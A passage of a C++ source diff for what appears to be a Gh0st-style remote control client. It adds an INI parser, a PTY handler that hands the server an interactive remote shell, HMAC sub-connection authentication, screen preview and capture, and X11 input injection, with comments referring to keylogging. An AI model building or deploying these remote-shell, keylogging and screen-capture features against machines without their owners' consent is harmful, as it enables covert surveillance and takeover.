+        const char* end = data + size;
+
+        while (p < end) {
+            // 找到行尾
+            const char* lineEnd = p;
+            while (lineEnd < end && *lineEnd != '\n' && *lineEnd != '\r')
+                lineEnd++;
+
+            // 复制行内容
+            size_t lineLen = lineEnd - p;
+            if (lineLen > 0 && lineLen < 4096) {
+                char line[4096];
+                memcpy(line, p, lineLen);
+                line[lineLen] = '\0';
+                ParseLine(line, currentSection);
+            }
+
+            // 跳过换行符
+            p = lineEnd;
+            while (p < end && (*p == '\n' || *p == '\r'))
+                p++;
+        }
+
+        return true;
+    }
+
+    // 追加加载（不清除现有数据，用于覆盖）
+    bool LoadFileAppend(const char* filePath)
+    {
+        if (!filePath || !filePath[0])
+            return false;
+
+        FILE* f = nullptr;
+#ifdef _MSC_VER
+        if (fopen_s(&f, filePath, "r") != 0 || !f)
+            return false;
+#else
+        f = fopen(filePath, "r");
+        if (!f)
+            return false;
+#endif
+
+        std::string currentSection;
+        char line[4096];
+
+        while (fgets(line, sizeof(line), f)) {
+            ParseLine(line, currentSection);
        }

        fclose(f);
@@ -138,6 +162,52 @@ public:
 private:
    TSections m_sections;

+    // 解析单行 INI 内容
+    void ParseLine(char* line, std::string& currentSection)
+    {
+        // 去除行尾换行符
+        size_t len = strlen(line);
+        while (len > 0 && (line[len - 1] == '\n' || line[len - 1] == '\r'))
+            line[--len] = '\0';
+
+        if (len == 0)
+            return;
+
+        // 跳过注释
+        if (line[0] == ';' || line[0] == '#')
+            return;
+
+        // 检测 section 头: [SectionName]
+        // 真正的 section 头：']' 后面没有 '='（否则是 key=value）
+        if (line[0] == '[') {
+            char* end = strchr(line, ']');
+            if (end) {
+                char* eqAfter = strchr(end + 1, '=');
+                if (!eqAfter) {
+                    // 纯 section 头，如 [Strings]
+                    *end = '\0';
+                    currentSection = line + 1;
+                    return;
+                }
+                // ']' 后有 '='，如 [使用FRP]=[Using FRP]，当作 key=value 处理
+            }
+        }
+
+        // 不在任何 section 内则跳过
+        if (currentSection.empty())
+            return;
+
+        // 解析 key=value（只按第一个 '=' 分割，不 trim）
+        // key 和 value 均做反转义（\n \r \t \\ \"）
+        char* eq = strchr(line, '=');
+        if (eq && eq != line) {
+            *eq = '\0';
+            std::string key   = Unescape(std::string(line));
+            std::string value = Unescape(std::string(eq + 1));
+            m_sections[currentSection][key] = value;
+        }
+    }
+
    // 反转义：将字面量 \n \r \t \\ \" 转为对应的控制字符
    static std::string Unescape(const std::string& s)
    {
--- a/common/PTYHandler.h
+++ b/common/PTYHandler.h
@@ -0,0 +1,272 @@
+/**
+ * PTYHandler.h - Unix Pseudo Terminal Handler
+ *
+ * This file provides pseudo terminal (PTY) functionality for remote shell access.
+ *
+ * PLATFORM SUPPORT:
+ *   - Linux:  Supported
+ *   - macOS:  Supported
+ *   - Windows: NOT SUPPORTED (Windows uses different terminal APIs)
+ *
+ * USAGE:
+ *   #include "common/PTYHandler.h"
+ *
+ *   PTYHandler* handler = new PTYHandler(clientObject);
+ *   clientObject->setManagerCallBack(handler, ...);
+ */
+
+#pragma once
+
+#if defined(_WIN32) || defined(_WIN64)
+#error "PTYHandler.h is not supported on Windows. Use Windows ConPTY or other APIs instead."
+#endif
+
+// Platform-specific includes
+#ifdef __APPLE__
+#include <util.h>       // macOS: openpty()
+#else
+#include <pty.h>        // Linux: openpty()
+#endif
+
+// Common Unix includes
+#include <unistd.h>
+#include <fcntl.h>
+#include <termios.h>
+#include <sys/ioctl.h>
+#include <sys/wait.h>
+#include <signal.h>
+#include <errno.h>
+#include <string.h>
+#include <thread>
+#include <atomic>
+#include <stdexcept>
+
+#include "commands.h"
+#include "../client/IOCPClient.h"
+
+/**
+ * PTYHandler - Pseudo Terminal Handler
+ *
+ * Manages a pseudo terminal for remote shell access.
+ * Inherits from IOCPManager to integrate with the IOCP client framework.
+ */
+class PTYHandler : public IOCPManager
+{
+public:
+    // Non-copyable, non-movable (owns system resources)
+    PTYHandler(const PTYHandler&) = delete;
+    PTYHandler& operator=(const PTYHandler&) = delete;
+    PTYHandler(PTYHandler&&) = delete;
+    PTYHandler& operator=(PTYHandler&&) = delete;
+
+    PTYHandler(IOCPClient* client) : m_client(client), m_running(false), m_master_fd(-1), m_slave_fd(-1), m_child_pid(-1)
+    {
+        if (!client) {
+            throw std::invalid_argument("IOCPClient pointer cannot be null");
+        }
+
+        // Create pseudo terminal pair
+        if (openpty(&m_master_fd, &m_slave_fd, nullptr, nullptr, nullptr) == -1) {
+            throw std::runtime_error("Failed to create pseudo terminal");
+        }
+
+        // Set master fd to non-blocking mode
+        int flags = fcntl(m_master_fd, F_GETFL, 0);
+        fcntl(m_master_fd, F_SETFL, flags | O_NONBLOCK);
+
+        // Start shell process
+        startShell();
+    }
+
+    ~PTYHandler()
+    {
+        m_running = false;
+        if (m_readThread.joinable()) {
+            m_readThread.join();
+        }
+        if (m_master_fd >= 0) {
+            close(m_master_fd);
+        }
+        if (m_slave_fd >= 0) {
+            close(m_slave_fd);
+        }
+        if (m_child_pid > 0) {
+            // Check if child is still running before killing
+            int status;
+            pid_t result = waitpid(m_child_pid, &status, WNOHANG);
+            if (result == 0) {
+                // Child still running, terminate it
+                kill(m_child_pid, SIGTERM);
+                waitpid(m_child_pid, nullptr, 0);
+            }
+            // If result == m_child_pid, child already exited and was reaped
+            // If result == -1, child was already reaped elsewhere
+        }
+    }
+
+    // Start the PTY read thread
+    void Start()
+    {
+        bool expected = false;
+        if (!m_running.compare_exchange_strong(expected, true)) return;
+        m_readThread = std::thread(&PTYHandler::readFromPTY, this);
+    }
+
+    // Handle incoming data from server
+    virtual VOID OnReceive(PBYTE data, ULONG size) override
+    {
+        if (size && data[0] == COMMAND_NEXT) {
+            Start();
+            return;
+        }
+
+        // Handle terminal resize command
+        if (size >= 5 && data[0] == CMD_TERMINAL_RESIZE) {
+            short cols, rows;
+            memcpy(&cols, data + 1, sizeof(short));
+            memcpy(&rows, data + 3, sizeof(short));
+            SetWindowSize(cols, rows);
+            return;
+        }
+
+        // Write data to PTY
+        if (size > 0) {
+            ssize_t total = 0;
+            while (total < (ssize_t)size) {
+                ssize_t written = write(m_master_fd, (char*)data + total, size - total);
+                if (written == -1) {
+                    if (errno == EAGAIN || errno == EINTR) continue;
+                    break;
+                }
+                total += written;
+            }
+        }
+    }
+
+    // Set terminal window size
+    void SetWindowSize(int cols, int rows)
+    {
+        struct winsize ws;
+        ws.ws_col = cols;
+        ws.ws_row = rows;
+        ws.ws_xpixel = 0;
+        ws.ws_ypixel = 0;
+
+        if (ioctl(m_master_fd, TIOCSWINSZ, &ws) == -1) {
+            return;
+        }
+
+        // Send SIGWINCH to child process to notify window size change
+        if (m_child_pid > 0) {
+            kill(m_child_pid, SIGWINCH);
+        }
+    }
+
+private:
+    int m_master_fd;
+    int m_slave_fd;
+    IOCPClient* m_client;
+    std::thread m_readThread;
+    std::atomic<bool> m_running;
+    pid_t m_child_pid;
+
+    void startShell()
+    {
+        m_child_pid = fork();
+        if (m_child_pid == -1) {
+            close(m_master_fd);
+            close(m_slave_fd);
+            throw std::runtime_error("Failed to fork shell process");
+        }
+
+        if (m_child_pid == 0) {
+            // Child process
+            setsid();  // Create new session, become session leader
+
+            // Set slave PTY as controlling terminal (required for Ctrl+C to work)
+            // This must be done after setsid() and before dup2()
+            ioctl(m_slave_fd, TIOCSCTTY, 0);
+
+            // Redirect stdin/stdout/stderr to slave PTY
+            dup2(m_slave_fd, STDIN_FILENO);
+            dup2(m_slave_fd, STDOUT_FILENO);
+            dup2(m_slave_fd, STDERR_FILENO);
+            close(m_master_fd);
+            close(m_slave_fd);
+
+            // Set terminal environment for xterm.js compatibility
+            setenv("TERM", "xterm-256color", 1);
+            setenv("COLORTERM", "truecolor", 1);
+
+#ifdef __APPLE__
+            // macOS locale settings
+            setenv("LANG", "en_US.UTF-8", 1);
+            setenv("LC_ALL", "en_US.UTF-8", 1);
+            // Disable zsh session save/restore (causes errors in PTY)
+            setenv("SHELL_SESSIONS_DISABLE", "1", 1);
+
+            // Try zsh first (macOS default), fallback to bash
+            if (access("/bin/zsh", X_OK) == 0) {
+                execl("/bin/zsh", "zsh", "-i", nullptr);
+            }
+            execl("/bin/bash", "bash", "-i", nullptr);
+#else
+            // Linux locale settings (C.UTF-8 is most portable)
+            setenv("LANG", "C.UTF-8", 1);
+            setenv("LC_ALL", "C.UTF-8", 1);
+
+            // Start interactive bash
+            execl("/bin/bash", "bash", "-i", nullptr);
+#endif
+            _exit(1);
+        }
+    }
+
+    void readFromPTY()
+    {
+        char buffer[4096];
+        while (m_running) {
+            // Check if child process has exited
+            int status;
+            pid_t result = waitpid(m_child_pid, &status, WNOHANG);
+            if (result == m_child_pid) {
+                // Shell exited, send close notification
+                if (m_client) {
+                    BYTE closeToken = TOKEN_TERMINAL_CLOSE;
+                    m_client->Send2Server((char*)&closeToken, 1);
+                }
+                m_running = false;
+                break;
+            }
+
+            ssize_t bytes_read = read(m_master_fd, buffer, sizeof(buffer) - 1);
+            if (bytes_read > 0) {
+                if (m_client) {
+                    m_client->Send2Server(buffer, bytes_read);
+                }
+            } else if (bytes_read == 0) {
+                // EOF - PTY closed
+                if (m_client) {
+                    BYTE closeToken = TOKEN_TERMINAL_CLOSE;
+                    m_client->Send2Server((char*)&closeToken, 1);
+                }
+                m_running = false;
+                break;
+            } else if (bytes_read == -1) {
+                if (errno == EAGAIN || errno == EWOULDBLOCK) {
+                    usleep(10000);  // 10ms
+                } else if (errno == EIO) {
+                    // EIO typically means PTY slave closed (shell exited)
+                    if (m_client) {
+                        BYTE closeToken = TOKEN_TERMINAL_CLOSE;
+                        m_client->Send2Server((char*)&closeToken, 1);
+                    }
+                    m_running = false;
+                    break;
+                } else {
+                    break;
+                }
+            }
+        }
+    }
+};
--- a/common/commands.h
+++ b/common/commands.h
@@ -126,6 +126,9 @@ inline int isValid_10s()

 // 客户端能力位
 #define CLIENT_CAP_V2             0x0001    // 支持 V2 文件传输
+#define CLIENT_CAP_UTF8           0x0002    // 协议字符串字段统一使用 UTF-8 编码（活动窗口、窗口列表、键盘记录中的窗口标题等）
+                                            // 无此位 = 老客户端，按系统 ANSI（默认 CP936）解读
+#define CLIENT_CAP_SCREEN_PREVIEW 0x0004    // 支持屏幕预览（双击在线主机时弹缩略图）

 #define TALK_DLG_MAXLEN 1024		// 最大输入字符长度

@@ -330,8 +333,104 @@ enum {
    CMD_SET_GROUP = 242,            // 修改分组
    CMD_EXECUTE_DLL_NEW = 243,	    // 执行代码
 	CMD_PEER_TO_PEER = 244,         // P2P通信
+    TOKEN_CLIENTID = 245,
+    TOKEN_CONN_AUTH = 246,          // 子连接身份校验包（客户端首发，服务端回 ConnAuthAck）
+    COMMAND_SCREEN_PREVIEW_REQ = 247,   // 屏幕预览请求（服务端→客户端）
+    TOKEN_SCREEN_PREVIEW_RSP = 248,     // 屏幕预览响应（客户端→服务端）
 };

+// 子连接校验：HMAC 签名 (clientID || timestamp || nonce)，服务端通过校验后把 clientID
+// 钉在子连接 ctx 上，后续命令免 IP 反查直接拿到主连接关联。
+// 主连接（TOKEN_LOGIN 流）不走此校验。
+//
+// 兼容性策略：
+//   - 老客户端不发 → 新服务端宽容（保留 IP 反查兜底，行为不变）。
+//   - 新客户端发出 → 等服务端 ConnAuthAck，超时或失败则不继续。
+//   - 因此新客户端只能向新服务端连接（破坏性升级）。
+//   - 未来收紧：服务端可拒绝所有未通过 auth 的子连接。
+//
+// 协议固定为 512 / 256 字节（参照 LOGIN_INFOR::szReserved[512] 的做法），
+// 预留大量字节给未来扩展（如 client locale / OS 标识 / 子连接类型 / 会话 token /
+// per-conn 能力位等），避免再次破坏性升级。预留区构造时全 0 初始化，未启用字段
+// 不会进 HMAC 签名输入（签名输入仍只是 clientID || timestamp || nonce 共 32 字节）。
+#pragma pack(push, 1)
+struct ConnAuthPacket {
+    uint8_t  token;             // = TOKEN_CONN_AUTH                          [1]
+    uint64_t clientID;          // 客户端 V2 ID（MachineGuid + 归一化路径算出）  [8]
+    uint64_t timestamp;         // 客户端发包时的 Unix 秒，防重放第一道           [8]
+    uint8_t  nonce[16];         // 随机数，进一步降低重放/碰撞概率                [16]
+    char     signature[64];     // signMessage("", clientID||timestamp||nonce, 32) [64]
+    char     reserved[415];     // 预留扩展                                    [415]
+};                              // 总 512
+
+// 服务端响应：token + status + serverTime + 预留，固定 256 字节。
+// serverTime 客户端可用来校正本机时钟偏差用于后续协议（可选）。
+struct ConnAuthAck {
+    uint8_t  token;             // = TOKEN_CONN_AUTH（回显，方便客户端 dispatch）  [1]
+    uint8_t  status;            // 0=OK, 其它=失败原因（见 ConnAuthStatus）        [1]
+    uint64_t serverTime;        // 服务端处理时的 Unix 秒                        [8]
+    char     reserved[246];     // 预留扩展                                    [246]
+};                              // 总 256
+#pragma pack(pop)
+
+// 编译期断言：协议大小不允许被无意改动
+static_assert(sizeof(ConnAuthPacket) == 512, "ConnAuthPacket must be exactly 512 bytes");
+static_assert(sizeof(ConnAuthAck) == 256,    "ConnAuthAck must be exactly 256 bytes");
+
+// 屏幕预览：服务端按双击在线主机触发，向客户端要一张缩略图（JPEG），与浮窗一起显示。
+// 服务端依 ctx 最近心跳 Ping + RES_RESOLUTION 决定 maxWidth/quality 后下发；客户端
+// 主屏抓图 → 等比缩放 → JPEG 编码 → 回响应。format 字段 v1 锁 0=JPEG，预留 PNG/WebP。
+#pragma pack(push, 1)
+struct ScreenPreviewReq {
+    uint8_t  cmd;                // = COMMAND_SCREEN_PREVIEW_REQ
+    uint16_t reqId;              // 请求序号，用于丢弃过期响应
+    uint16_t maxWidth;           // 服务端期望的目标宽度（客户端等比缩放，不强制）
+    uint8_t  jpegQuality;        // 1..100
+    uint16_t reserved;
+};                               // 总 8 字节
+
+enum ScreenPreviewStatus {
+    SCREEN_PREVIEW_OK             = 0,
+    SCREEN_PREVIEW_CAPTURE_FAILED = 1,   // 抓屏失败
+    SCREEN_PREVIEW_ENCODE_FAILED  = 2,   // 编码失败
+    SCREEN_PREVIEW_NOT_SUPPORTED  = 3,   // 平台不支持
+};
+
+enum ScreenPreviewFormat {
+    SCREEN_PREVIEW_FMT_JPEG = 0,
+    SCREEN_PREVIEW_FMT_PNG  = 1,         // 预留
+    SCREEN_PREVIEW_FMT_WEBP = 2,         // 预留
+};
+
+struct ScreenPreviewRspHeader {
+    uint8_t  token;              // = TOKEN_SCREEN_PREVIEW_RSP
+    uint16_t reqId;              // 回显请求序号
+    uint8_t  status;             // ScreenPreviewStatus
+    uint8_t  format;             // ScreenPreviewFormat（v1 仅 JPEG）
+    uint16_t width;              // 实际编码图宽
+    uint16_t height;             // 实际编码图高
+    uint32_t bytes;              // 图像字节数（紧随其后）
+    uint8_t  reserved[3];
+    // 后接 data[bytes]
+};                               // 头部 16 字节
+#pragma pack(pop)
+
+static_assert(sizeof(ScreenPreviewReq) == 8,        "ScreenPreviewReq must be 8 bytes");
+static_assert(sizeof(ScreenPreviewRspHeader) == 16, "ScreenPreviewRspHeader must be 16 bytes");
+
+enum ConnAuthStatus {
+    CONN_AUTH_OK             = 0,
+    CONN_AUTH_BAD_SIZE       = 1,    // 包长度不对
+    CONN_AUTH_CLOCK_SKEW     = 2,    // 时间戳超过容忍范围
+    CONN_AUTH_BAD_SIGNATURE  = 3,    // HMAC 不匹配
+    CONN_AUTH_INTERNAL_ERROR = 4,
+};
+
+#define CONN_AUTH_TIMESTAMP_TOLERANCE_SEC 300    // 客户端/服务端时钟漂移容忍 ±5 分钟
+#define CONN_AUTH_CLIENT_WAIT_MS          10000  // 客户端等待 ack 的超时
+                                                  // 设为 10 秒留足跨太平洋 + 拥塞 / 卫星链路 / 偏远网络的余量；
+                                                  // 同机几毫秒就回，正常路径用户感知不到。
+
 enum MachineCommand {
    MACHINE_LOGOUT,
    MACHINE_SHUTDOWN,
@@ -915,7 +1014,14 @@ typedef struct  LOGIN_INFOR {
    {
        memset(this, 0, sizeof(LOGIN_INFOR));
        bToken = TOKEN_LOGIN;
-        sprintf_s(moduleVersion, "%s-%04X", DLL_VERSION, CLIENT_CAP_V2);
+        // 能力位：声明客户端实际实现了的功能。SCREEN_PREVIEW 只在 Windows 客户端
+        // 实现（依赖 GDI BitBlt + GDI+ JPEG），Linux/macOS 不声明，避免服务端发请求
+        // 后等 4s 超时显示"预览不可用"。
+        unsigned int caps = CLIENT_CAP_V2 | CLIENT_CAP_UTF8;
+#ifdef _WIN32
+        caps |= CLIENT_CAP_SCREEN_PREVIEW;
+#endif
+        sprintf_s(moduleVersion, "%s-%04X", DLL_VERSION, caps);
    }
    LOGIN_INFOR& Speed(unsigned long speed)
    {
@@ -1048,6 +1154,14 @@ enum QualityLevel {
    QUALITY_COUNT   = 6,
 };

+// 屏幕压缩算法常量 (所有平台共用)
+#ifndef ALGORITHM_GRAY
+#define ALGORITHM_GRAY    0   // 灰度压缩
+#define ALGORITHM_DIFF    1   // 差分压缩 (BGRA)
+#define ALGORITHM_H264    2   // H264 硬件编码
+#define ALGORITHM_RGB565  3   // RGB565 压缩
+#endif
+
 /* 质量配置(与 QualityLevel 对应)
 - strategy = 0：1080p 限制
 - strategy = 1：原始分辨率
@@ -1080,6 +1194,29 @@ inline const QualityProfile& GetQualityProfile(int level) {
    return g_QualityProfiles[level];
 }

+// 屏幕预览质量配置（与 QualityLevel 共用 RTT 阈值表，但参数维度不同：缩略图只关心
+// 编码尺寸 + JPEG 质量，没有 FPS / 算法等运动视频参数）
+struct PreviewProfile {
+    int maxWidth;       // 期望编码宽度（客户端会等比缩放，禁止放大）
+    int jpegQuality;    // JPEG 质量 1..100
+};
+
+inline const PreviewProfile& GetScreenPreviewProfile(int level) {
+    static const PreviewProfile g_PreviewProfiles[QUALITY_COUNT] = {
+        { 1024, 85 },   // Ultra:    超清 (LAN/同省，4K 源屏可进一步放大到 1280)
+        {  800, 80 },   // High:     高清 (跨省直连)
+        {  640, 75 },   // Good:     标清 (同国/邻国)
+        {  480, 70 },   // Medium:   常规 (大陆间)
+        {  384, 60 },   // Low:      低清 (跨洲)
+        {  256, 50 },   // Minimal:  最低 (极差网络/卫星链路)
+    };
+    if (level < 0 || level >= QUALITY_COUNT) {
+        static const PreviewProfile fallback = { 480, 70 };
+        return fallback;
+    }
+    return g_PreviewProfiles[level];
+}
+
 // 根据RTT获取目标质量等级 (控制端使用)
 inline int GetTargetQualityLevel(int rtt, int usingFRP) {
    // 根据模式应用不同 RTT阈值 (毫秒)
--- a/common/logger.h
+++ b/common/logger.h
@@ -321,6 +321,16 @@ inline const char* getFileName(const char* path)
 #endif
 #elif defined(_WIN32)
 #define Mprintf(format, ...) Logger::getInstance().log(getFileName((__FILE__)), __LINE__, (format), __VA_ARGS__)
+#elif defined(__APPLE__)
+// macOS: 使用 NSLog 输出到系统日志（可通过 Console.app 查看）
+#ifdef Mprintf
+#undef Mprintf
+#endif
+#ifdef __OBJC__
+#define Mprintf(format, ...) NSLog(@"%@", [NSString stringWithFormat:@(format), ##__VA_ARGS__])
+#else
+#define Mprintf(format, ...) printf(format, ##__VA_ARGS__)
+#endif
 #else
 // Linux: 覆盖 commands.h 中的 printf 回退定义，改用 Logger 写文件
 #ifdef Mprintf
--- a/linux/CMakeLists.txt
+++ b/linux/CMakeLists.txt
@@ -28,6 +28,7 @@ set(SOURCES
    main.cpp
    ../client/Buffer.cpp
    ../client/IOCPClient.cpp
+    ../client/sign_shim_unix.cpp
 )
 add_executable(ghost ${SOURCES})

@@ -40,6 +41,14 @@ set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} -g")
 message(STATUS "链接库文件: ${CMAKE_SOURCE_DIR}/lib/libzstd.a")
 target_link_libraries(ghost PRIVATE "${CMAKE_SOURCE_DIR}/lib/libzstd.a")

+# 链接私有签名库（提供 signMessage / verifyMessage，源码不开源）
+# 该库由 SimplePlugins 仓库本地构建后放置于 lib/，构建机需先准备好
+target_link_libraries(ghost PRIVATE "${CMAKE_SOURCE_DIR}/lib/libsign.a")
+
+# libsign.a 内部使用 OpenSSL HMAC，需要在最终可执行链接 libcrypto
+find_package(OpenSSL REQUIRED)
+target_link_libraries(ghost PRIVATE OpenSSL::Crypto)
+
 # 链接 dl 库（dlopen/dlsym 用于运行时加载 X11）
 target_link_libraries(ghost PRIVATE dl)

--- a/linux/ScreenHandler.h
+++ b/linux/ScreenHandler.h
@@ -3,7 +3,8 @@
 #include "client/IOCPClient.h"
 #include "LinuxConfig.h"
 #include "ClipboardHandler.h"
-#include "FileTransferV2.h"
+#include "common/FileTransferV2.h"
+#include "X264Encoder.h"
 #include <dlfcn.h>
 #include <sys/stat.h>
 #include <thread>
@@ -11,7 +12,9 @@
 #include <atomic>
 #include <vector>
 #include <cstring>
+#include <cstdlib>
 #include <stdexcept>
+#include <memory>

 // 客户端 ID（定义在 main.cpp）
 extern uint64_t g_myClientID;
@@ -110,27 +113,39 @@ struct XGCValues_LNX {
 #define IncludeInferiors 1

 // ============== 屏幕算法常量 ==============
-#define ALGORITHM_GRAY    0
-#define ALGORITHM_DIFF    1
-#define ALGORITHM_H264    2
-#define ALGORITHM_RGB565  3
+// 常量定义已移至 commands.h: ALGORITHM_GRAY, ALGORITHM_DIFF, ALGORITHM_H264, ALGORITHM_RGB565

-// 算法支持表（编译时常量，日后支持 H264 时改为 true）
-static const bool g_SupportedAlgo[] = {
-    true,   // ALGORITHM_GRAY   = 0
-    true,   // ALGORITHM_DIFF   = 1
-    false,  // ALGORITHM_H264   = 2
-    true,   // ALGORITHM_RGB565 = 3
-};
+// 检查算法是否支持（H264 需要运行时检测）
+inline bool IsAlgorithmSupported(uint8_t algo) {
+    switch (algo) {
+    case ALGORITHM_GRAY:
+    case ALGORITHM_DIFF:
+    case ALGORITHM_RGB565:
+        return true;
+    case ALGORITHM_H264:
+        return X264Encoder::IsAvailable();
+    default:
+        return false;
+    }
+}

 // 不支持的算法降级为 RGB565
 inline uint8_t GetEffectiveAlgorithm(uint8_t algo) {
-    if (algo > 3 || !g_SupportedAlgo[algo]) {
+    if (!IsAlgorithmSupported(algo)) {
+        Mprintf(">>> Algorithm %d not supported, fallback to RGB565\n", algo);
        return ALGORITHM_RGB565;
    }
    return algo;
 }

+// 码率到 CRF 映射 (参考 Windows/macOS 实现)
+inline int BitRateToCRF(int bitrate) {
+    if (bitrate >= 3000) return 20;  // 高质量
+    if (bitrate >= 2000) return 23;  // 中等
+    if (bitrate >= 1200) return 26;  // 较低
+    return 30;                        // 最低
+}
+
 // ============== 颜色转换函数 ==============

 // BGRA → 灰度 (Y = 0.299R + 0.587G + 0.114B)
@@ -375,6 +390,16 @@ static unsigned long VKtoKeySym(unsigned int vk)
    }
 }

+// XFixes cursor image structure (for cursor type detection)
+struct XFixesCursorImage {
+    short x, y;
+    unsigned short width, height;
+    unsigned short xhot, yhot;
+    unsigned long cursor_serial;
+    unsigned long* pixels;
+    // Atom cursor_name;  // Only in XFixes 2.0+
+};
+
 // X11 函数指针类型
 typedef Display* (*fn_XOpenDisplay)(const char*);
 typedef int (*fn_XCloseDisplay)(Display*);
@@ -391,12 +416,18 @@ typedef int (*fn_XSync)(Display*, int);
 typedef unsigned long (*fn_XKeysymToKeycode)(Display*, unsigned long);
 typedef int (*fn_XFlush)(Display*);
 typedef int (*fn_XClearArea)(Display*, Window, int, int, unsigned int, unsigned int, int);
+typedef int (*fn_XQueryPointer)(Display*, Window, Window*, Window*, int*, int*, int*, int*, unsigned int*);
+typedef int (*fn_XFree)(void*);

 // XTest 扩展函数指针类型（用于模拟鼠标/键盘输入）
 typedef int (*fn_XTestFakeMotionEvent)(Display*, int, int, int, unsigned long);
 typedef int (*fn_XTestFakeButtonEvent)(Display*, unsigned int, int, unsigned long);
 typedef int (*fn_XTestFakeKeyEvent)(Display*, unsigned int, int, unsigned long);

+// XFixes 扩展函数指针类型（用于光标类型检测）
+typedef int (*fn_XFixesQueryExtension)(Display*, int*, int*);
+typedef XFixesCursorImage* (*fn_XFixesGetCursorImage)(Display*);
+
 // X11 动态加载包装
 class X11Loader
 {
@@ -430,13 +461,19 @@ public:
    fn_XKeysymToKeycode pXKeysymToKeycode;
    fn_XFlush          pXFlush;
    fn_XClearArea      pXClearArea;
+    fn_XQueryPointer   pXQueryPointer;
+    fn_XFree           pXFree;

    // XTest 扩展（用于模拟输入）
    fn_XTestFakeMotionEvent pXTestFakeMotionEvent;
    fn_XTestFakeButtonEvent pXTestFakeButtonEvent;
    fn_XTestFakeKeyEvent    pXTestFakeKeyEvent;

-    X11Loader() : m_handle(nullptr), m_xtst_handle(nullptr)
+    // XFixes 扩展（用于光标类型检测）
+    fn_XFixesQueryExtension pXFixesQueryExtension;
+    fn_XFixesGetCursorImage pXFixesGetCursorImage;
+
+    X11Loader() : m_handle(nullptr), m_xtst_handle(nullptr), m_xfixes_handle(nullptr)
    {
        pXOpenDisplay = nullptr;
        pXCloseDisplay = nullptr;
@@ -457,9 +494,13 @@ public:
        pXKeysymToKeycode = nullptr;
        pXFlush = nullptr;
        pXClearArea = nullptr;
+        pXQueryPointer = nullptr;
+        pXFree = nullptr;
        pXTestFakeMotionEvent = nullptr;
        pXTestFakeButtonEvent = nullptr;
        pXTestFakeKeyEvent = nullptr;
+        pXFixesQueryExtension = nullptr;
+        pXFixesGetCursorImage = nullptr;
    }

    bool Load()
@@ -489,6 +530,8 @@ public:
        pXKeysymToKeycode = (fn_XKeysymToKeycode)dlsym(m_handle, "XKeysymToKeycode");
        pXFlush         = (fn_XFlush)dlsym(m_handle, "XFlush");
        pXClearArea     = (fn_XClearArea)dlsym(m_handle, "XClearArea");
+        pXQueryPointer  = (fn_XQueryPointer)dlsym(m_handle, "XQueryPointer");
+        pXFree          = (fn_XFree)dlsym(m_handle, "XFree");

        // 加载 XTest 扩展库（用于模拟鼠标/键盘输入）
        m_xtst_handle = dlopen("libXtst.so.6", RTLD_LAZY);
@@ -499,7 +542,15 @@ public:
            pXTestFakeKeyEvent    = (fn_XTestFakeKeyEvent)dlsym(m_xtst_handle, "XTestFakeKeyEvent");
        }

-        // 基本 X11 函数必须全部存在；XTest 函数可选（没有时无法控制输入）
+        // 加载 XFixes 扩展库（用于光标类型检测）
+        m_xfixes_handle = dlopen("libXfixes.so.3", RTLD_LAZY);
+        if (!m_xfixes_handle) m_xfixes_handle = dlopen("libXfixes.so", RTLD_LAZY);
+        if (m_xfixes_handle) {
+            pXFixesQueryExtension = (fn_XFixesQueryExtension)dlsym(m_xfixes_handle, "XFixesQueryExtension");
+            pXFixesGetCursorImage = (fn_XFixesGetCursorImage)dlsym(m_xfixes_handle, "XFixesGetCursorImage");
+        }
+
+        // 基本 X11 函数必须全部存在；XTest/XFixes 函数可选
        return pXOpenDisplay && pXCloseDisplay && pXGetImage && pXDestroyImage &&
               pXDefaultScreen && pXDisplayWidth && pXDisplayHeight && pXRootWindow &&
               pXSetErrorHandler && pXCreatePixmap && pXFreePixmap &&
@@ -513,8 +564,18 @@ public:
        return pXTestFakeMotionEvent && pXTestFakeButtonEvent && pXTestFakeKeyEvent;
    }

+    // 检查 XFixes 扩展是否可用
+    bool HasXFixes() const
+    {
+        return pXFixesGetCursorImage != nullptr;
+    }
+
    ~X11Loader()
    {
+        if (m_xfixes_handle) {
+            dlclose(m_xfixes_handle);
+            m_xfixes_handle = nullptr;
+        }
        if (m_xtst_handle) {
            dlclose(m_xtst_handle);
            m_xtst_handle = nullptr;
@@ -528,6 +589,7 @@ public:
 private:
    void* m_handle;
    void* m_xtst_handle;
+    void* m_xfixes_handle;
 };

 class ScreenHandler : public IOCPManager
@@ -538,7 +600,8 @@ public:
          m_inputDisplay(nullptr),
          m_width(0), m_height(0),
          m_pixmap(0), m_gc(nullptr), m_xtestWarned(false),
-          m_bAlgorithm(ALGORITHM_DIFF), m_maxFPS(10), m_qualityLevel(QUALITY_ADAPTIVE)
+          m_bAlgorithm(ALGORITHM_DIFF), m_maxFPS(10), m_qualityLevel(QUALITY_ADAPTIVE),
+          m_h264Bitrate(2000)
    {
        if (!client) {
            throw std::invalid_argument("IOCPClient pointer cannot be null");
@@ -651,11 +714,21 @@ public:
        // Double-check after acquiring lock
        if (m_destroyed) return;

-        // Prevent starting if thread is already running or joinable
-        if (m_captureThread.joinable()) return;
+        // If already running, just send TOKEN_BITMAPINFO again
+        // This allows server to create additional dialogs (MFC can open while Web is active)
+        if (m_captureThread.joinable() || m_running.load()) {
+            Mprintf(">>> ScreenHandler already running, sending TOKEN_BITMAPINFO for new dialog\n");
+            SendBitmapInfo();
+            return;
+        }

        bool expected = false;
-        if (!m_running.compare_exchange_strong(expected, true)) return;
+        if (!m_running.compare_exchange_strong(expected, true)) {
+            // Race condition: another thread started first, send bitmap info
+            Mprintf(">>> ScreenHandler race, sending TOKEN_BITMAPINFO for new dialog\n");
+            SendBitmapInfo();
+            return;
+        }

        m_captureThread = std::thread(&ScreenHandler::CaptureLoop, this);
    }
@@ -873,12 +946,28 @@ public:
            // 应用帧率
            m_maxFPS.store(profile.maxFPS);

+            // 应用码率（H264 使用）
+            int oldBitrate = m_h264Bitrate;
+            m_h264Bitrate = profile.bitRate;
+
            // 应用算法（带降级处理）
            uint8_t algo = GetEffectiveAlgorithm(profile.algorithm);
+            uint8_t oldAlgo = m_bAlgorithm.load();
            m_bAlgorithm.store(algo);

-            Mprintf(">>> Quality: Level=%d, FPS=%d, Algo=%d->%d\n",
-                    level, profile.maxFPS, profile.algorithm, algo);
+            // 如果 H264 参数变化，需要重新初始化编码器
+            if (algo == ALGORITHM_H264 && oldAlgo == ALGORITHM_H264 &&
+                (oldBitrate != m_h264Bitrate)) {
+                // 码率变化，重置编码器（下次编码时重新初始化）
+                if (m_h264Encoder) {
+                    m_h264Encoder->close();
+                    m_h264Encoder.reset();
